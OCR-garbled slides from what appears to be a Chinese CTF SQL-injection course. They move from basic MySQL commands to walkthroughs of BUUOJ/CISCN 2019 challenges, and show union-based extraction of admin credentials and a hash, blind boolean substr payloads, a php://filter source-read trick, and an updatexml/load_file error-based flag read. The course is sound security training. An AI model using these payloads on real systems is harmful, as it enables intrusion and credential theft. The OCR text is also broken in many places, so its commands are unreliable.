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...ath — -fish | ...7.207.8|

jinzhaoPlocalhost ~>

[ssh root®node2.buuoj.cn.wetolink.com -p 28162
[root@Pnode2.buuoj.cn.wetolink.com's password:
Last login: Tue Oct 8 ©02:55:07 2019 from 172.2
.0.5

root@90dc251cds10:~# [

]
]
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ﬂ? I\/Iysql Sk

.ath—-fish | .72078 .m-p28162 |+

jinzhao®localhost ~>

[ssh root®node2.buuoj.cn.wetolink.com -p 28162
[root@Pnode2.buuoj.cn.wetolink.com's password:
Last login: Tue Oct 8 ©02:55:07 2019 from 172.2
.0.5

[root@90dc251cd410:~# mysql -u root —p

[Enter password:

Welcome to the MySQL monitor. Commands end wit
17 e Wl

Your MySQL connection id is 4

Server version: 5.7.27-Qubuntu@.16.04.1 (Ubuntu
)

o Copyright (c) 2000, 2019, Oracle and/or its aff

iliates. All rights reserved.

Oracle is a registered trademark of Oracle Corp
oration and/or its

affiliates. Other names may be trademarks of th
eir respective

owners.

Type 'help;' or '\h' for help. Type '\c' to cle
ar the current input statement.

mysql>

]
]

]
]
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.ath—-fish | .72078 | .m-p28162 |+

Your MySQL connection id is 5
Server version: 5.7.27-0ubuntu®.16.04.1 (Ubuntu
)

Copyright (c) 2000, 2019, Oracle and/or its aff
iliates. All rights reserved.

Oracle is a registered trademark of Oracle Corp
oration and/or its
affiliates. Other names may be trademarks of th

e show databases: b e

owners.

;u;Type 'help;' or '\h' for help. Type '\c' to cle
ar the current input statement.

[mysql> show databases

e
o

| Database

.
I
4
+
4
T

| information_schema |
| mysql I
| performance_schema |
| sys I

b
Bl

4 rows in set (0.02 sec)
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.ath—-fish | .72078 .m-p28162 |+

information_schema |
mysql |
performance_schema |
sys |

4k
Ll

4 rows in set (.02 sec)

+ ——— —

[mysgl> create databases test; ]

ERROR 1064 (42000): You have an error in your S

QL syntax; check the manual that corresponds to

* Create database teSt; your MySQL server version for the right syntax

to use near 'databases test' at line 1

- [mysgl> create database test; |
" Query OK, 1 row affected (0.00 sec) |

Imysql> show databases;

-

| Database

A4k
Ll

I
| information_schema |
I
|
I
I

| mysql

| performance_schema
| sys

| test

"

5 rows in set (0.00 sec)
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.ath—-fish | .vis— | .m-p28162 |+

| performance_schema |
| sys I

AL .
Ll Ll

4 rows in set (0.02 sec)

Imysgl> create databases test; ]
ERROR 1064 (42000): You have an error in your S

QL syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near 'databases test' at line 1

e LISE teSt; Imysql> create database test; ]

Query OK, 1 row affected (0.00 sec)

:”;mysq1> show databases

Database

.
I
3
T+
4
T

I

| information_schema |
| mysql I
| performance_schema |
| sys I
| test |
5

Ak
Ll

rows in set (0.00 sec)

[mysgl> use test;
)3
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_ath—-fish | _vis— | .m-p2sie2 |+

Imysgl> create databases test; ]
ERROR 1064 (42000): You have an error in your S

°

Create table USEIS ( QL syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near 'databases test' at line 1
s Imysql> create database test; ]
ICj ”jt(1.1), Query OK, 1 row affected (0.00 sec)

[mysql> show databases

4
n

* name varchar(255) | Database

.
I
3
T
4
T

| information_schema |
| mysql I
| performance_schema |
| sys I
| test |
5

Ak
Ll

rows in set (0.00 sec)

[mysql> use test;
Database changed
[mysgl> create table users(id int(11), name varc]
har(255));

Query OK, @ rows affected (0.08 sec)
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...ath — -fish | ...Vfiis —|
Imysgl> show databases; ]
| Database |
| information_schema |
| mysql I
| performance_schema |
:
test
* show tables; + +
5 rows in set (0.00 sec)
[mysql> use test;

Database changed _
[mysql> create table users(id int(11), name varc]
har(255));

Query OK, @ rows affected (0.08 sec)

[mysql> show tables;

| Tables_in_test |

users

1 row in set (0.00




1B A

..ath — fish | .. vfiis _| B
[mysql> create table users(id int(11), name varc]
har(255));

Query OK, @ rows affected (0.08 sec)

[mysql> show tables; ]

| Tables_in_test |

users

e desc USers,; 1 row in set (0.00 sec)

[mysql> desc users;

+ — +
+— +

|

-
Ll

Default |

.- e
Bl Ll
———————

| int(11) |

| name | varchar(255) |

Ak
L

2 rows in set (.16 sec)
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e |nsert Into users
values(1,’glzjin'),(2,'buu’);

Lol e

.ath—-fish | .vis— | .m-p28162 |+

Tables_in_test

users

+— + — +
+ —+— +

1 row in set (0.00 sec)

[mysgl> desc users; ]

e
Ll

L
-
+
+
L

| Field | Type
Extra |

Null | Key | Default |

+
+
+
+

}.

e
Ll

| alGms(Eataly,

| name | varchar(255) |

A
ar

2 rows in set (0.16 sec)

[mysql> insert into users values(1,'glzjin'),(2,]
'buu');

Query OK, 2 rows affected (0.01 sec)

Records: 2 Duplicates: @ Warnings: 0




1B A

...ath — -fish | ...v/iis—| ~..m

——————— +

| Field | Type | Null | Key | Default |
St ||
——————— +

| id | int(11) | YES | | NULL |
I

| name | varchar(255) | YES | | NULL |
I

v : + + + + + +
JeElete idelan ielelds T — .

2 rows in set (0.16 sec)
[mysql> insert into users values(1,'glzjin'), (2,

'buu');
Query OK, 2 rows affected (0.01 sec)
Records: 2 Duplicates: @ Warnings: 0

[mysql> select * from users;

id | name

4
Ll
A
Ll
L

"

rows in set (0.00 sec)



SQLIET A ]

..ath — fish | _vfiis _| ——————

I
| name | varchar(255) | YES | | NULL |

4 4 - 4
Ll Ll Ll n

+
+

2 rows in set (0.16 sec)

[mysql> insert into users values(1,'glzjin'),(2,]
o 'buu');
* select * from users order by Query OK, 2 rows affected (0.1 sec)

: Records: 2 Duplicates: @ Warnings: 0

Id desc;

[mysql> select * from users; This

Ll

| id | name

ik || (efilzza)aly
2 | buu

+—— +— +

r

rows in set (.00 sec)

[mysgql> select *x from users order by id desc;

A
L
A
Ll
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..ath — -fish | Vfiis _| B
Fid™ 1 name |
| 2 | buu |
| i [ el
2

¥ SeleCt ; from L |Im|t a [mysql> select * from users limit 1 offset 2; |
Offset b’ Empty set (0.00 sec)

[mysql> select * from users limit 1 offset 1; ]
id | name |
73 | |

1 row in set (0.00 sec)

[mysql> select * from users limit 1 offset 0;

A

id | name

L
A
L

il || efilzafaln ]

1 row in set (0.00 sec)
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wiis— | .mpasez |+

...ath — -fish |

i ] efilzafaln ||

+ — +

1 row in set (0.00 sec)

Imysql> select * from users; ]

id | name

» update users set name='glz’ :
where id=1; |
2

+—— +— 4

rows in set (0.00 sec)

;mysq1> update users set name='glz' where id=1;
Query OK, 1 row affected (0.09 sec)
Rows matched: 1 Changed: 1 Warnings: ©

[mysql> select * from users;

de de

id | name

1z

1
2 uu

g
b

T
e
Ll
b
o

Ll
A
Ll
L
"

rows in set (0.00 sec)
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..ath — fish | _vfiis _| ——————

.- ol
ar

2 rows in set (0.00 sec)

[mysql> update users set name='glz' where id=1; |
Query OK, 1 row affected (0.09 sec)
Rows matched: 1 Changed: 1 Warnings: ©

[mysql> select * from users; ]

4

id ELE

e delete from users where id=1:

1z

1
2 uu

g
b

+—— 4+ — +

Ll
A
Ll
4
Ll

+ —— +

rows in set (.00 sec)

[mysgl> delete from users where id=1;
Query OK, 1 row affected (0.00 sec)

[mysql> select from users;

%k
id | name |
I

2 | buu

1 row in set (0.00 sec)
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L] glzjin / buusec_2019_sql_course_1

<> Code Issues 0 Pull requests 0 Projects 0

Branch: master v | buusec_2019_sql_course_1/ files / html / backend / content_de

wqghﬁnﬂmtcmnmn

AS
\ L]
o iEa /J,i\ . 1 contributor

13 lines (11 sloc) 257 Bytes

s FREBRINESLHEE SQL S
EaH btes 2010/
* Time: 10:20 PM
*/

include "db.php";

$id = $_GET['id'];
$result = select("select title, content from contents where id=$id;");
echo(json_encode(isset($result[0]) ? $resultl[o] : [1));
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BUU SQL COURSE 1

e F12 #BFIREO.

% Headers Preview Response Cookies Timing

v General

Request URL: http://aedab4c9-5e8b-4824-a5f0-e88fee651b10.node2.buuoj.cn.wetolink.com:82/backend/cont
ent_detail.php?id=1
Request Method: GET
Status Code: ® 200 0K
Remote Address: 127.0.0.1:1081

Referrer Policy: no-referrer-when-downgrade

v Response Headers view source
Access-Control-Allow-Headers: *
Access-Control-Allow-Origin: *
Connection: keep-alive

Content-Length: 74
Content-Type: application/json
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/backend/content_detail.php?id=1 and 1=1

< C @O A%LL | aedab4c9-5e8b-4824-a5f0-e88fee651b10.node2.buuoj.cn.wetolink.com:82/backend/conten... L[i Y¢

{"title":"\ub6d4b\u8bd5\u65b0\u95£fbl", "content":"\u54c8\u54c8\u54c8\u54c8"}

/backend/content_detail.php?id=1 and 1=2

< C O A%L%L | aedab4c9-5e8b-4824-a5f0-e88fee651b10.node2.buuoj.cn.wetolink.com:82/backend/content_de... ¥t

NN EF1E
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il [ TEDIES

/backend/content_detail.php?id=0 union select 1

< C @O ALL | aedab4c9-5e8b-4824-a5f0-e88fee651b10.node2.buuoj.cn.wetolink.com:82/backend/content_de... ¥

/backend/content_detail.php?id=0 union select 1,2

¢« C ® FZ2 | aedabdco-5e8b-4824-a5f0-e88fee651b10.node2.buuoj.cn.wetolink.com:82/backend/content de.. % ® O @ @ ¢ 4« ® © & s

AR f5im select 1240 RAVTIELZEM T,
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SECRREE

/backend/content_detail.php?id=0 union select
1,group_concat(SCHEMA_NAME) from
information_schema.SCHEMATA

— C ® A%LZL | aedab4c9-5e8b-4824-a5f0-e88fee651b10.node2.buuocj.cn.wetolink.com:82/backend/content de... v @& QO @ ‘ !l A @ (

News FEHIW1%H =1,
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BEHIER

/backend/content_detail.php?id=0 union select
1,group_concat(TABLE_NAME) from
information_schema.TABLES where
TABLE_SCHEMA = 'news'

< C O A%%L | aedab4c9-5e8b-4824-a5f0-e88fee651b10.node2.buuoj.cn.wetolink.com:82/backend/content_de... Yt

it
Il
1]
<~/
NS
N
o)

admin

m /_i\ 2]
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EEMIERATHS

/backend/content_detail.php?id=0 union select
1,group_concat(COLUMN_NAME) from
information_schema.COLUMNS where TABLE_SCHEMA
= 'news' and TABLE_NAME="admin'

& C O A%LZL | aedab4c9-5e8b-4824-a5f0-e88fee651b10.node2.buuoj.cn.wetolink.com:82/backend/content_ de... Y& @ O @& ‘

OK, FKAEEEANKS MBS,
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» /backend/content_detail.php?id=0 union select
1,group_concat(username) from news.admin

& C @O ALZL | aedab4c9-5e8b-4824-a5f0-e88fee651b10.node2.buuoj.cn.wetolink.com:82/backend/conten... Lo Yr @ (

{"title":"1","content":"admin"}

» /backend/content_detail.php?id=0 union select
1,group_concat(password) from news.admin

¢ C ® T2 | aedabdco-5e8b-4824-a5f0-e88fee651b10.node2.buuoj.cn.wetolink.com:82/backend/content de.. % @& O @ @ ¢ 4 @

{"title":"1","content":"6d7bf00bf72252a5fa54ed0443db9795"}
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¢ RS

& > C A TRZ2 | aedab4c9-5e8b-4824-a5f0-e88fee651b10.node2.buuoj.cn.wetolink.com:82/#/login - % @ o. ® . P 4a ® © &y L

e 3UU EER B3

245



[CISCN2019 f£4tF X Day?2
Web1]|Hack World

< C ® 4%L%E | bfc09440-948a-46f8-9048-3dddbaa5638a.node2.buuoj.cn.wetolink.com:82

All You Want Is In Table 'flag' and the column is 'flag’

Now, just give the id of passage

%




CISCN2019 =3t F X Day?

Web1|Hack World
o TN 11T} 2

< C ® A%Z2 | bfc09440-948a-46f8-9048-3dddbaa5638a.node2.buuoj.cn.wetolink.com:82/index.php

All You Want Is In Table 'flag' and the column is 'flag’

g Now, just give the id of passage

I ’R

Hello, glzjin wants a girlfriend.

» BIAEMEF

& C ® A&Z | bfc09440-948a-46f8-9048-3dddbaa5638a.node2.buuoj.cn.wetolink.com:82/index.php

All You Want Is In Table 'flag’' and the column is 'flag’

g Now, just give the id of passage

™ R’

Error Occured When Fetch Result.
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Web1]|Hack World

4 V4

¢ BIANF

< C ® A&2 | bfc09440-948a-46f8-9048-3dddbaa5638a.node2.buuoj.cn.wetolink.com:82/index.php

All You Want Is In Table 'flag' and the column is 'flag’

g Now, just give the id of passage

bool(false)
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Web1]|Hack World

e Fuzz, KMEREKNTSIES,

< C A ALL | bfc09440-948a-46f8-9048-3dddbaa5638a.node2.buuoj.cn.wetolink.com:82/index.php

All You Want Is In Table 'flag' and the column is 'flag’

a Now, just give the id of passage

® SQL Injection Checked.
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Web1]|Hack World

]

o« REHNNL, W FRIEIEH/RFMAHTIMER:

< C A AL%E | bfc09440-948a-46f8-9048-3dddbaa5638a.node2.buuoj.cn.wetolink.com:82/index.php

All You Want Is In Table 'flag' and the column is 'flag’

Now, just give the id of passage

%

Hello, glzjin wants a girlfriend.
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[CISCN2019 £ FX Day?2
Web1]|Hack World

. BN

e 1/(ascii(substr((select(flag)from(flag)),1,1))>0)" 1

All You Want Is In Table 'flag' and the column is 'flag’

| Now, just give the id of passage

| )from(flag)),1,1))>0)M| 23

Hello, glzjin wants a girlfriend.

o 1/A(ascii(substr((select(flag)from(flag)),1,1))>128)N 1

All You Want Is In Table 'flag' and the column is 'flag'

Now, just give the id of passage

%

Error Occured When Fetch Result.
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https://github.com/CTFTraining/ciscn_2019_web_northern_china_day2_web1/blob/master/exp.py
https://github.com/CTFTraining/ciscn_2019_web_northern_china_day2_web1/blob/master/exp.py
https://github.com/CTFTraining/ciscn_2019_web_northern_china_day2_web1/blob/master/exp.py

CISCN2019 £e]tZFE X Day
Web5|CyberPunk
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Web5|CyberPunk

« TETIEBIE, B <!—ile=?—> WIER, BAXHEE.

o [?file=php://ftilter/read=convert.baseb4-encode/resource=./
index.php AJPAE RS,

€ > C O TR | ccds8a7f-af8b-448f-b167-9337b533d3e6.node2.buuoj.cn.wetolink.com:82/?file=php:/ffilter.. 3 % @& O @ @ ¢ « ® ® «

@ PDOwaHAKCmIuaV9zZXQoJ29wZWS5fYmFzZWRpcicslCcvdmFylL3d3dy9odG1sLycpOwoKLy8gJGZpbGUgPSAKX0dFVFsiZmisZSJdOwokZmisZSA9IChpc3NIdCgkX0dFVFsnZmisZSddKSA
(LB B R RS T nnmmnmmx__



php://filter/read=convert.base64-encode/resource=./index.php
php://filter/read=convert.base64-encode/resource=./index.php
php://filter/read=convert.base64-encode/resource=./index.php
https://github.com/glzjin/CISCN_2019_northern_China_day1_web5/tree/master/files/html
https://github.com/glzjin/CISCN_2019_northern_China_day1_web5/tree/master/files/html
https://github.com/glzjin/CISCN_2019_northern_China_day1_web5/tree/master/files/html

CISCN2019 ££11#F X Day
Web5|CyberPunk

- RNEBIERRANZHE T YRR EENRIFIET, NMFET
A

require_once "config.php";

if(lempty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))

{
$msg = "'
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];

$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){

$msg = 'no sql inject!';
}else{
$sql = "select x from “user’ where “user_name ='{$user_name}' and “phone’='{$phone}'";
® $fetch = $db—>query($sql);

* B)ERMEEE B B RAVEE B R [l KRR AR B (E (e R 1 |

$row = $fetch->fetch_assoc();

$sql = "update “user’ set “address'='".$address."', “old_address ='".$row['address']."'

° $result = $db->query($sql);



CISCN2019 #£11#F X Day
Web5|CyberPunk

s A T_ 23




CISCN2019 f£15#F X Day
Web5|CyberPunk

* 1" where user_id=updatexml(1,concat(Ox/e,
select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

HIERIEXHRZA
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» BRI DI

< C ® A&L2 | ccd58a7f-af8b-448f-b167-9337b533d3e6.node2.buuoj.cn.wetolink.com:82/change.php o %

errorXPATH syntax error: '~flag{a9d651b7-e033-4~'

o ULAMEHIBN G FR NAY flag 132 3K,

/N
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